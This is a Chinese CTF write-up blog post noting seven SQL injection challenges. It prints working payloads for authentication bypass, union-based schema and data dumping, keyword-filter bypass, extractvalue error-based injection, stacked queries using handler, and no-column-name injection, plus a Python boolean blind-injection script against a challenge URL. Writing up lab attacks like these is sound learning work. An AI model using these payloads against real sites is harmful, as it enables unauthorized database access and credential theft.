CTF入门笔记之SQL注入

利用information_schema数据库来进行sql注入。

1.最基础的 万能密码获得flag

在这里插入图片描述

payload:check.php?username=1%27+or+1%3D1%23&password=1

在这里插入图片描述
直接拿到flag。

2.无过滤 运用information_schema数据库
在这里插入图片描述
万能密码可以登录,说明可以无过滤。

查看数据有几条

payload:check.php?username=1' order by 4%23&password=1

在这里插入图片描述
说明有三条数据

然后爆数据库名

payload:check.php?username=1' union select 1,2,database()%23&password=1

得到数据库

然后爆表名

payload:check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述
得到表名

爆字段名

payload:check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述
然后爆内容!

payload:check.php?username=1' union select 1,2,group_concat(password) from l0ve1ysq1%23&password=1

在这里插入图片描述
这里因为我知道flag在password,所以我只爆了password的内容,当然可以id,username,password都爆出来。

得到flag。

3.双写绕过过滤的注入

发现万能密码会报错,考虑有过滤,双写试一下,发现可以

payload:check.php?username=1' oorr 1=1%23&password=1

在这里插入图片描述
然后接下来就可以按步骤来了 爆数据库名-爆表名-爆字段名-爆内容。

爆表

payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()%23&password=1

在这里插入图片描述
爆表

payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'%23&password=1

在这里插入图片描述
爆内容 得flag

payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1

在这里插入图片描述
需要注意的是,因为or关键字被过滤了,所以information,password虽然不是关键字,但其中的or还是要双写的。

4.用extractvalue绕过过滤(报错注入)

爆数据库

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1

在这里插入图片描述

爆表

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23&password=1

加粗样式

爆字段

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1

在这里插入图片描述
爆内容(password)

payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23&password=1

在这里插入图片描述
但是extractvalue函数返回值是有字数限制的,所以我们只能看到左边一部分,然后用right函数看右边的

payload:check.php?username=1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),35))%23&password=1

在这里插入图片描述

拼接一下得出flag为
flag{4073118d-2919-4563-9ac1-6be41c66a852}

5.sql盲注

在这里插入图片描述
拿到题后我试了很多注入姿势,然而都失败了,没办法我直接去搜了wp,然后说是要盲注,好吧,知识盲区。

我就大概去了解了一下盲注,也分很多类型,这道题应该是属于布尔盲注,我对此的理解就是呢,通过简单的测试我们发现,当为1和0回显是不一样的,我们依次来构造比较语句,如果通过则结果为1,反之结果为0,然后记录得到1的情况,拼接出正确答案。还是上脚本吧。(大佬的脚本)


```python
import requests
import time
url='http://d0f7ab5f-bb72-450c-92df-916c71f4b17e.node4.buuoj.cn:81//index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    while 1:
        s = (int)((max+min)/2)
        payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.005)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            min=s
        else:
            max=s
        if((max-min)<=1):
            flag+=chr(max)
            print(flag)
            break

``

因此题目已经说了 flag在flag表中,因此select(flag)from(flag)可以得到flag,但是这在页面是不会回显的,因此还要用盲注。

我们将的到的flag逐位取出去,得到ascii在0-127中进行二分查找,找到后便输出,这样就可以得到flag了。

这里用的注入姿势是0^0|1,因为很多东西都被过滤了嘛。然后加上sleep函数是为了不要访问太快发生异常。

运行脚本就可以看到flag一个一个的蹦出来了~

6.很神奇的一道题目

在这里插入图片描述

也不和你绕弯子,就是sql注入,然后我规规矩矩的开始一个个测试。发现select被过滤了,
这些都被过滤了,尝试了很多绕过方法但都失败了,但是发现show databases;show tables;这些是可以用的,我开始找flag字段,最后发现就在当前数据库的另一个表中,但是没有select读不出来啊!!!无奈,又到了经典的搜wp时间了。

看了大佬的wp,甚至还有三种方法,第一种是预编译,有些些复杂,我就不记录了。
第二种也是最简单的方法,sql中竟然还有一个读取字段内容的关键字——handler,amazing!

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述
就出来了。
第三种方法就是改表名,将默认显示出来的表明改掉,再将1919810931114514表改名为默认显示表的表名,flag字段名也改一下,一刷新页面就出来哩。

7.无列名注入
这道题首先是一个二次注入,申请的广告名可以作为注入点。然后经过测试呢,空格,#,–,or被过滤。
空格可以用/**/来绕过,#和–都被过滤则不能注释了,只能补全最后的引号。or被过滤则不能使用order by,information等。

因此直接上联合注入,1'/**/union/**/select/**/1,database(),2,'3,然后会提示字段数目不对,所以不是4个,因为不能用order by去测试,那我就一个个测了,最后发现时22个(挺离谱的)

获得数据库名称语句为1'/**/union/**/select/**/1,database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'21
得到数据库web1,然而接下来却不能按联合注入的流程来了,因为or被过滤,导致infomation_schema关键字也不能使用,因此使用mysql.innodb_index_stats
构造语句为1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/mysql.innodb_index_stats/**/where/**/database_name=database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'21
得到表明ads和users,然后就需要进行无列名注入了,
构造sql语句为1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/c,2,3/**/union/**/select/**/*/**/from/**/users)x),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'21
先看第一列,然后第二列,以此类推,找到想要查看的那一列,本题中时第三列
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)x),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'21
在这里插入图片描述
得到flag。

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值